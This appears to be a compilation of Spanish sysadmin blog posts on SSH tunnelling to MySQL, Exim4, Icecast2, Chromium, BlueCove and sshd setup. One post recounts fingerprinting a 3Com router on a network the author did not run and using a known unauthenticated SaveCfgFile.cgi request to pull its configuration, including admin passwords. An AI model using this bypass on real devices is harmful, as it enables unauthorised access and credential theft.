HiperGalaxia

Introducción.

De manera análoga a como se realizó el tunel SSH utilizando Linux, también es posible implementarlo en Windows gracias al uso de herramientas de terceros como Putty.

Para la verificación de la conexión a la base de datos en lugar de la herramienta básica de línea de comando (que también debe funcionar normalmente) se utilizará MySQL Workbench que es la herramienta de administración gráfica que provee el motor de bases de datos.

Implementación de la solución.

Crear la especificación del tunel en Putty.

Este paso sólo es necesario realizarlo una única vez mientras se configura el perfil en Putty, en ocasiones posteriores sólo será necesario invocarlo.

Ejecute Putty.exe.

Session en Putty.exe

En la Session (lado izquierdo) especifique la siguiente información.

1. Nombre del servidor SSH.  desarrollo.com para este ejemplo.

2. Puerto del servicio SSH.  Es el puerto 22 por defecto.  Elija además el tipo de conexión (Connection type) SSH.

3. Especifique un nombre para almacenar la sesión (Saved Sessions).  MiTunel para este ejemplo.

4. Presione el botón guardar (Save) para almacenar la configuración recién especificada.

Connection > SSH en Putty.exe

En las opciones de Connection > SSH elija la casilla de verificación Don’t start a shell para evitar que se cree una consola de comandos interactiva ya que sólo se desea crear el tunel.

Connection > SSH > Tunnels en Putty.exe

Determine la información relacionada con los lados del tunel.

5. Especifique el puerto local desde el cual se iniciará el tunel.  3307 en este caso.

6. Especifique el destino y su puerto donde terminará el tunel.  localhost:3306 para este ejemplo.

Presione el botón agregar (Add) para almacenar los extremos del tunel.

Establecer un tunel previamente especificado.

Esto se puede hacer de dos maneras, una desde la interfaz gráfica de Putty seleccionando MiTunel en la lista de las sesiones guardadas (Saved Sessions), presionando el botón cargar (Load) y abriendo la sesión presionando el botón (Open).

Una segunda alternativa es desde la línea de comando ejecutando la siguiente instrucción.

C:\ruta\a\putty.exe -load MiTunel

En ambos casos el resultado es el mismo, aparecerá una ventana de login para realizar la autenticación con el servidor remoto (6).

Autenticación de usuario con SSH.

Realizar la conexión a MySQL a través del tunel SSH.

Como se mencionó inicialmente para la verificación de la conexión se utilizará MySQL Workbench.

Connect to database

Debe tenerse muy en cuenta que gracias al tunel recién creado, la aplicación cliente de la base de datos interpretará que el motor de base de datos se encuentra ubicado localmente (9) y que su puerto es el 3307 (10) -ver 5 y 6-.

Introducción.

Este es el panorama del esquema de red de la oficina del grupo de desarrollo.

Esquema de la red

Un servidor (centro) alberga los proyectos web (Apache) de los cuales el grupo de desarrollo manipula sus archivos (SSH + Samba), así como sus bases de datos (MySQL).  El servidor cuenta con dos interfaces de red las cuales separan físicamente el acceso de la red privada (eth1) de la red pública o Internet (eth0).

Los desarrolladores utilizan los clientes desde la red privada para la cual no hay ningún tipo de filtro en el servidor y pueden acceder a la totalidad de sus servicios.  Desde el exterior, el servidor implementa un firewall que sólo permite la consulta web de los proyectos y el acceso al SSH.  Como fácilmente se concluye, el firewall de la interfaz pública (eth0) filtra explícitamente el acceso a los servicios de MySQL y Samba que son considerados como inseguros.

El problema.

Se requiere ahora que los desarrolladores puedan acceder al servidor desde sus clientes a través de Internet.

El problema se divide en dos aproximaciones.

1. Manipular el software, el código y los datos remotamente.
2. Manipular el software y el código localmente, y los datos remotamente.

La solución.

Manipular el software, el código y los datos remotamente (1).

Este es el caso mas simple.  Como los aplicativos son web se acceden a través de un navegador, su código es manipulado a través de SSHFS (ver instrucciones para Linux y Windows) y sus datos son manipulados a través de la web con PHPMyAdmin.

Manipular el software y el código localmente y los datos remotamente (2).

Este caso es mas elaborado que el anterior ya que el software y el código reside localmente porque lo es muy fácil de manipular, sin embargo los datos (la base de datos MySQL) de los proyectos continúan viviendo en el servidor de desarrollo.

Dado que el puerto de acceso a MySQL se encuentra filtrado para el exterior por razones de seguridad es inicialmente imposible conectarse a la base de datos desde el cliente a través de Internet.  La solución es crear un tunel SSH desde el cliente remoto hasta el servidor a través del medio inseguro (Internet) y desde allí, ahora un lugar seguro, realizar la conexión con el puerto de la base de datos que en este caso reside en el mismo servidor.

Implementación de la solución (2).

Por razones que serán obvias, es necesario que los usuarios remotos cuenten con cuentas (nombre de usuario/contraseña) en el sistema operativo del servidor de desarrollo y que estas estén habilitadas para acceder al mismo a través de SSH.

Las siguientes acciones se realizan desde el cliente remoto.

Establecer el tunel SSH entre el cliente remoto y el servidor de desarrollo.

$ ssh desarrollador@desarrollo.com -L 3307:localhost:3306 -N -f

Con la instrucción anterior estamos creando un tunel entre el cliente remoto y el servidor desarrollo.com con el usuario desarrollador y utilizando al protocolo SSH.  Se le está indicando además que el tunel se deberá establecer entre el puerto 3307 local y el puerto 3306 del servidor remoto, en este caso el mismo localhost.  Es muy importante tener en cuenta que la referencia de este último servidor remoto se realiza previa conexión a desarrollo.com, es decir que su acceso se hace desde este y no directamente desde el cliente que inicia la conexión del tunel ejecutando el comando.

Otro aspecto interesante a tener en cuenta es que los puertos utilizados no necesariamente deben ser diferentes ya que uno es local (3307 en este ejemplo) y el otro es remoto (3306 el estándar de MySQL), sin embargo en el caso de que ya se cuente con una instalación local de MySQL (utilizando el puerto 3306) será entonces necesario utilizarlos diferentes como se ha planeado en este artículo.

Realizar la conexión a MySQL a través del tunel SSH.

Después de establecido el tunel entre cliente y servidor la conexión se realiza directamente con el puerto local (3307) del cliente remoto como si el servicio se estuviera ejecutando en la misma máquina cliente, el tunel se encarga de transmitir la información encriptada y realizar las conversiones necesarias a cada uno de los lados.

$ mysql -h 127.0.0.1 -u bd_usuario -p -P 3307 bd_nombre

Tenga en cuenta que el inicio de conexión (connect) a una base de datos toma cierto tiempo ya que el motor de bases de datos realiza una carga previa de los nombres de las tablas y de los campos de estas.  Si desea evitar esta precarga de información puede utilizar el parámetro -A en la invocación al cliente de MySQL (mysql).

Enlaces.

• Connecting to MySQL via an SSH Tunnel.
  http://wiki.joyent.com/facebook:kb:mysql-tunnel
• Secure Shell Tunneling.
  http://en.wikipedia.org/wiki/Ssh_tunnel#Secure_Shell_tunneling

Introducción.

El viernes pasado mientras aprendía acerca de Team Software Process se me ocurrió echar una mirada para intentar encontrar la dirección del filtro de contenido de la red que en la que estaba que la hacía prácticamente inútil bloqueando la mayoría de los sitios web de interés general.

Un traceroute de los sitios bloqueados no me mostró la ubicación que quería, sólo permitía llegar hasta el enrrutador inalámbrico que me estaba permitiendo acceder a la red LAN.  Decepcionado terminé saludándolo para darme cuenta de un problema de seguridad que ocultaba.

Conociendo al dispositivo.

Inicialmente no me dijo mucho, sólo que aparentemente era un dispositivo 3Com (o al menos su interfaz de red lo era).

$ sudo nmap -sA -O 192.168.2.1

Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-16 08:10 COT
All 1000 scanned ports on 192.168.2.1 are unfiltered
MAC Address: 00:FF:C1:4D:FF:EE (3com Europe)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Posteriormente lo confirmé al ver que el dispositivo 3Com ejecutaba aparentemente una versión de Linux con el kernel 2.6 lo cual es relativamente reciente.

$ sudo nmap -sS -O 192.168.2.1

Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-16 08:09 COT
Interesting ports on 192.168.2.1:
Not shown: 998 closed ports
PORT   STATE SERVICE
53/tcp open  domain
80/tcp open  http
MAC Address: 00:FF:C1:4D:FF:EE (3com Europe)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22
Network Distance: 1 hop

También se hizo evidente que el dispositivo permitía su administración a través de web (puerto 80).

Accediendo a el dispositivo utilizando un navegador web encontré que era finalmente un 3Com OfficeConnect Wireless 11g.  Sabiendo esto investigué un poco si había problemas conocidos con este dispositivo.

La vulnerabilidad.

Resulta que estos dispositivos manejan incorrectamente la autenticación/autorización de su módulo web de administración, protegiendo correctamente a las páginas pero permitiendo el acceso directo a los CGIs.  Esto unido a que el método de copia de seguridad de la configuración del router genera un archivo (config.bin) con esta información y lo almacena en su memoria interna para que el administrador lo descargue, termina convirtiéndose en un grave problema de seguridad.

El archivo puede descargarse mediante un CGI llamado SaveCfgFile así que para obtenerlo sólo es necesario acceder a él mediante un navegador web.

http://192.168.2.1/SaveCfgFile.cgi

El archivo contiene toda la configuración del enrrutador, incluyendo su información de red y contraseñas de administración!

…
httpd_username=admin
httpd_password=admin
…
mradius_username=admin
mradius_password=admin
mradius_secret=mradius1218
mradius_port=1812
…
http_username=admin
login_password=admin
http_passwd=admin
…

Conclusiones.

Esta vulnerabilidad fue reportada a 3Com por Luca Carettoni de ikkisoft.com en diciembre de 2008 y fue conocida por el público en general en febrero del 2009.

Supongo que desde hace tanto tiempo para acá 3Com ya ha solucionado esta vulnerabilidad y se encuentra disponible una actualización del firmware que la soluciona.

Debe tenerse especial cuidado en los dispositivos que tengan la opción de Remote Administration activa ya que esta vulnerabilidad podrá ser explotada desde Internet.

Enlaces.

• 3Com OfficeConnect Wireless Cable/DSL Router Authentication Bypass.
  http://packetstormsecurity.org/0902-exploits/LC-2008-05.txt
• 3Com® OfficeConnect® Wireless 11g Cable/DSL Gateway.
  http://www.3com.com/products/en_US/detail.jsp?tab=features&sku=3CRWE554G72&pathtype=support

Introducción.

Chromium Browser (Chrome) es el navegador web de Google que desde hace un tiempo puede ser descargado y utilizado en la plataforma Windows.  Desafortunadamente aún no hay una versión (release) oficial para la plataforma Linux, sin embargo es posible instalarlo en Ubuntu mediante un PPA de frecuente actualización.

Instalación.

Agregar el repositorio.

$ sudo add-apt-repository ppa:chromium-daily/ppa

Instalar los paquetes.

$ sudo aptitude update

$ sudo aptitude install chromium-browser chromium-codecs-ffmpeg

Ejecución.

Ejecutar la aplicación desde el menú de programas a través de la siguiente ruta.

Applications > Internet > Chromium Web Browser.

O desde la línea de comando como se muestra a continuación.

$ /usr/bin/chromium-browser &

Enlaces.

• Instalación y puesta a punto de Chromium en GNU/Linux.
  http://bitelia.com/2009/11/instalacion-y-puesta-a-punto-de-chromium-en-gnulinux

Introducción.

Un servidor que utilizo frecuentemente para el desarrollo de aplicaciones web que se encuentra basado en Debian 5 no estaba enviando los correos de las aplicaciones ni de un par de scripts que había escrito hace un tiempo para la creación de copias de seguridad.

Al revisar los logs encontré este mensaje: Mailing to remote domains not supported.

La solución es realizar la configuración del Exim 4, sin embargo tenía un detalle adicional que lo hacía interesante.  Para la empresa propietaria del servidor estoy utilizando Google Apps para gestionar su correo electrónico, así que el SmartHost tenía que ser con GMail, SSL (el puerto indicado) y autenticación.

Procedimiento.

Para este procedimiento se supone que el nombre del servidor es desarrollo.dominio.com.

1. Crear una cuenta de correo en GMail/Google Apps para el relay del servidor de correo.

Nombre de usuario: desarrollo_relay
Contraseña: password_relay

2. Realizar la configuración de Exim.

$ su -

$ dpkg-reconfigure exim4-config

• General type of mail configuration: mail sent by smarthost; received via SMTP or fetchmail
• System mail name: localhost
• Ip Address to listen on: 127.0.0.1
• Other destinations~: desarrollo.dominio.com
• Machines to Relay for: <vacío>
• IP address or hostname of the outgoing smarthost: smtp.gmail.com::587
• Hide local mail name in outgoing mail: No
• Keep number of DNS queries minimal: No
• Delivery method for local mail: mbox format in /var/mail/
• Split configuration into small files: Yes

3. Configurar la información del cliente de acceso.

$ vi /etc/exim4/passwd.client

gmail-smtp.l.google.com:desarrollo_relay@dominio.com:password_relay
*.google.com:desarrollo_relay@dominio.com:password_relay
smtp.gmail.com:desarrollo_relay@dominio.com:password_relay

$ chmod 640 /etc/exim4/passwd.client

$ chown root:Debian-exim /etc/exim4/passwd.client

4. Actualizar la lista de correspondencias de direcciones de correo.

$ vi /etc/exim4/email-addresses

root@localhost:    desarrollo_relay@dominio.com

$ chmod 640 /etc/exim4/email-addresses

5. Verifique la configuración actual del Exim.

$ vi /etc/exim4/update-exim4.conf

dc_eximconfig_configtype='smarthost'
dc_other_hostnames='desarrollo.dominio.com'
dc_local_interfaces='127.0.0.1'
dc_readhost='desarrollo.dominio.com'
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='smtp.gmail.com::587'
CFILEMODE='644'
dc_use_split_config='true'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'

6. Reiniciar el servicio del MTA.

$ /etc/init.d/exim4 restart

Enlaces.

• Exim Internet Mailer.
  http://www.exim.org/
• Google Apps.
  http://www.google.com/a/cpanel/domain/new?hl=es
• Configure Exim4 on Debian Etch/Lenny/Sid to use Gmail as a SmartHost.
  http://tarsysco.com/blogs/2008/06/18/configure-exim4-on-debian-etchlennysid-to-use-gmail-as-a-smarthost/

Introducción.

Icecast es una herramienta libre desarrollada por la Fundación Xiph para generar contenidos de audio a través de la red utilizando la técnica de streaming.  La versión 2 se basa en el formato libre Ogg Vorbis mientras que la versión anterior permite utilizar archivos MP3 los cuales según entiendo, requieren de un pago de licenciamiento al tener estos un formato propietario.

Una de las mayores ventajas de la herramienta es su flexibilidad, permitendo diferentes orígenes del sonido a reproducirse como fuentes de reproducción (playlists) predefinidas o la salida de una tarjeta de audio específica (como el caso de un micrófono).  Su arquitectura cliente servidor permite que se originen contenidos desde múltiples ubicaciones que serán distribuidos a los usuarios finales a través de un único servidor de Icecast.

Instalación.

$ sudo aptitude install icecast2

Configuración.

$ sudo vi /etc/icecast2/icecast.xml

Actualizar las contraseñas de administración.

<authentication>
<!-- Sources log in with username 'source' -->
<source-password>MySecretSourcesPassword</source-password>
<!-- Relays log in username 'relay' -->
<relay-password>MySecretRelayPassword</relay-password>

<!-- Admin logs in with the username given below -->
<admin-user>admin</admin-user>
<admin-password>MySecretAdminPassword</admin-password>
</authentication>

Modifique los valores resaltados en rojo según su conveniencia.

Actualizar la información de conexión.

<hostname>jimezam-laptop</hostname>

<!-- You may have multiple <listener> elements -->
<listen-socket>
<port>8000</port>
</listen-socket>

El hostname deberá corresponder con el valor del servidor de Icecast2 que se está instalando.  El port se utilizará para publicar el servicio.

Actualizar las ubicaciones base.

<logdir>/var/log/icecast2</logdir>
<webroot>/usr/share/icecast2/web</webroot>
<adminroot>/usr/share/icecast2/admin</adminroot>

logdir hace referencia al directorio donde se almacenarán los registros del servicio (access.log y error.log), webroot hace referencia al directorio donde se publicará el contenido estático a publicarse (archivos de audio) y adminroot almacenará los archivos de administración.

Actualizar el inicio a través de init.d.

$ sudo vi /etc/default/icecast2

ENABLE=true

Iniciar el servidor.

Modo de pruebas.

$ sudo -u icecast2 /usr/bin/icecast2 -c /etc/icecast2/icecast.xml

Modo de producción (background).

$ sudo -u icecast2 /usr/bin/icecast2 -b -c /etc/icecast2/icecast.xml

Estilo Ubuntu.

Iniciar el servicio.

$ sudo /etc/init.d/icecast2 start

Detener el servicio.

$ sudo /etc/init.d/icecast2 stop

Verificar su funcionamiento.

Verificar la ejecución del proceso.

$ ps -fea | grep icecast

icecast2  7674  6254  0 23:21 pts/0    00:00:00 /usr/bin/icecast2 -c /etc/icecast2/icecast.xml

Verificar las estadísticas del servicio desde web.

Visitar el siguiente URL con un navegador web.

http://localhost:8000/admin/stats.xsl

La autenticación se debe realizar utilizando el admin-user y el admin-password especificados durante la etapa de configuración en el archivo icecast2.xml.

Reemplace localhost por el nombre del servidor o su correspondiente dirección IP si desea acceder a este remotamente.  Modifique también el puerto según el elegido en la sección listen-socket del mismo archivo de configuración.

Enlaces.

• Icecast2.
  http://www.icecast.org/
• Icecast2 Documentation.
  http://www.icecast.org/docs/
• Vorbis Audio Compression.
  http://www.xiph.org/vorbis/
• Ogg Vorbis en Wikipedia.
  http://en.wikipedia.org/wiki/Ogg

Introducción.

Después de la fallida búsqueda de una librería para acceder al protocolo Bluetooth desde Mono vuelvo entonces a Java buscando la opción mas portable posible.  Esta vez voy a probar BlueCove que soporta Mac OSX, WIDCOMM, BlueSolei, Windows nativo y Linux con BlueZ.

Instalación.

Descargar las últimas versiones disponibles desde la siguiente ubicación: http://sourceforge.net/project/showfiles.php?group_id=114020

1. bluecove-*.jar: módulo principal, incluye el soporte para las pilas de Mac OS X, WIDCOMM, BlueSoleil and Microsoft Bluetooth.
2. bluecove-gpl-*.jar: adiciona el soporte para la pila en Linux.

Descargar estos archivos JAR en una ubicación conocida.

Descubriendo dispositivos Bluetooth.

Para esto se parte de un objeto que implementa DiscoveryListener, él define que se debe hacer cuando cuando se encuentra un nuevo dispostivo y cuando se termina la búsqueda.

        /**
         * The DiscoveryListener interface allows an application to
         * receive device discovery and service discovery events.
         */

        DiscoveryListener listener = new DiscoveryListener()
        {
            /**
             * Called when a device is found during an inquiry.
             */

            public void deviceDiscovered(RemoteDevice btDevice, DeviceClass cod)
            {
                System.out.println("Device " + btDevice.getBluetoothAddress() + " found");

                devicesDiscovered.addElement(btDevice);

                try
                {
                    System.out.println("     name " + btDevice.getFriendlyName(false));
                }
                catch (IOException cantGetDeviceName) {}
            }

            /**
             * Called when an inquiry is completed.
             */

            public void inquiryCompleted(int discType)
            {
                System.out.println("Device Inquiry completed!");

                synchronized(inquiryCompletedEvent)
                {
                    inquiryCompletedEvent.notifyAll();
                }
            }
            // Not used in this example.

            public void serviceSearchCompleted(int transID, int respCode) {}
            public void servicesDiscovered(int transID, ServiceRecord[] servRecord) {}
        };

En este ejemplo, cuando se identifica a un nuevo dispositivo Bluetooth (ver deviceDiscovered) se obtiene su dirección, de ser posible su nombre y se agrega en la lista de dispositivos encontrados.

public static final Vector<RemoteDevice> devicesDiscovered = new Vector<RemoteDevice>();

Para ejecutar finalmente la búsqueda de dispositivos de acuerdo con el comportamiento definido anteriormente, se crea un objeto sobre el cual se sincronizarán las próximas acciones.

final Object inquiryCompletedEvent = new Object();

synchronized(inquiryCompletedEvent)
{
         // The search code ...
}

Con él se inicia la búsqueda de dispositivos accediendo al Agente Descubridor del Dispositivo Local.

boolean started = LocalDevice.getLocalDevice().getDiscoveryAgent().startInquiry(DiscoveryAgent.GIAC, listener);

Finalmente se verifica que la búsqueda haya comenzado exitosamente y se espera para garantizar su ejecución.

     if (started)
     {
          System.out.println("Starting Device Discovery process ...");

          /**
           * Wait for Discovery Process end
           */

          inquiryCompletedEvent.wait();

          System.out.println("There was " + devicesDiscovered.size() +  " device(s) found");
     }

Compilación & ejecución.

Para compilar y posteriormente ejecutar el programa de demostración es necesario garantizar que el JAR de bluecove, descargado inicialmente, se encuentre en el CLASSPATH.  También es necesario recordar que si la plataforma objetivo es Linux, es necesario incluír además el JAR de bluecove-gpl.

Para compilar se utiliza un comando preparado de la siguiente manera.

javac -cp ../lib/current/bluecove-2.1.0.jar:../lib/current/bluecove-gpl-2.1.0.jar RemoteDeviceDiscovery.java

Debe tenerse en cuenta que para la compilación se está suponiendo que los archivos JAR se encuentran en el directorio ../lib/current y que corresponden con la versión 2.1.0.   Además se está realizando en Linux, motivo por el cual el separador de directorios es : en lugar del ; utilizado por Windows.  Es necesario que adapte el comando según sus características específicas.

Para interpretar se utiliza un comando similar, preparado de la siguiente manera.

java -cp ../lib/current/bluecove-2.1.0.jar:../lib/current/bluecove-gpl-2.1.0.jar RemoteDeviceDiscovery

La salida de la aplicación.

La aplicación de demostración deberá imprimir por salida estándar la información de los dispositivos Bluetooth que se encuentren cerca durante el tiempo que dure la búsqueda.  Algo similar a lo siguiente.

BlueCove version 2.1.0 on bluez
Starting Device Discovery process ...
Device 001ADE8BF510 found
name Jimezam Phone
Device 0017AE39DCB0 found
name Nintendo RVL-CNT-01
Device Inquiry completed!
There was 2 device(s) found
BlueCove stack shutdown completed

En la respuesta anterior se puede apreciar que la aplicación detectó exitosamente a mi teléfono celular y a un Wiimote que pasaba por allí.

Enlaces.

• BlueCove.
  http://www.bluecove.org/
• API de BlueCove.
  http://www.bluecove.org/bluecove/apidocs/
• Código fuente de la aplicación de demostración.
  http://demo.jorgeivanmeza.com/Java/BlueCove/RemoteDeviceDiscovery/

Instalación del servicio.

# apt-get install ssh

Este paquete incluye las aplicaciones servidor y cliente para reemplazar las herramientas inseguras rlogin/rsh/rcp.

Configuración básica del servicio.

# vi /etc/ssh/sshd_config

Port 22
Protocol 2
UsePrivilegeSeparation yes
PermitRootLogin no
StrictModes yes
PermitEmptyPasswords no
Subsystem sftp /usr/lib/openssh/sftp-server

Opciones de configuración adicionales.

Agregar soporte para el transporte de aplicaciones X11 a través de SSH.

X11Forwarding yes

Si se presentan problemas de desconexión de las sesiones SSH, incluyendo las SSHFS, debido a timeouts modificar la siguiente opción de /etc/ssh/ssh_config.

ServerAliveInterval  120   # seconds.

Reiniciar el servicio.

# /etc/init.d/ssh restart